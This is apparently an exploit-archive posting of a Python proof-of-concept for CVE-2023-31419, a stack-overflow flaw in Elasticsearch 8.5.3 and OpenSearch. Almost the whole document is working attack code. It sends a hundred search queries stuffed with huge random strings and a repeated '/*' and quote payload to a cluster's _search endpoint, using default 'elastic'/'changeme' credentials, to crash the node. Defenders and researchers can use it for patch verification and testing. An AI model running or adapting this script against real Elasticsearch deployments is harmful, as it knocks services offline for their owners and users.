Elasticsearch 8.5.3 Stack Overflow Exploit

# Exploit Author: TOUHAMI KASBAOUI
# Vendor Homepage: https://elastic.co/
# Version: 8.5.3 / OpenSearch
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2023-31419
# Ref: https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419
 
import requests
import random
import string
 
es_url = 'http://localhost:9200'  # Replace with your Elasticsearch server URL
index_name = '*'
 
payload = "/*" * 10000 + "\\" +"'" * 999
 
verify_ssl = False
 
username = 'elastic'
password = 'changeme'
 
auth = (username, password)
 
num_queries = 100
 
for _ in range(num_queries):
    symbols = ''.join(random.choice(string.ascii_letters + string.digits + '^') for _ in range(5000))
    search_query = {
        "query": {
            "match": {
                "message": (symbols * 9000) + payload
            }
        }
    }
 
    print(f"Query {_ + 1} - Search Query:")
 
    search_endpoint = f'{es_url}/{index_name}/_search'
    response = requests.get(search_endpoint, json=search_query, verify=verify_ssl, auth=auth)
 
    if response.status_code == 200:
        search_results = response.json()
 
        print(f"Query {_ + 1} - Response:")
        print(search_results)
 
        total_hits = search_results['hits']['total']['value']
        print(f"Query {_ + 1}: Total hits: {total_hits}")
 
        for hit in search_results['hits']['hits']:
            source_data = hit['_source']
            print("Payload result: {search_results}")
    else:
        print(f"Error for query {_ + 1}: {response.status_code} - {response.text}")
 
#  0day.today [2023-10-05]  #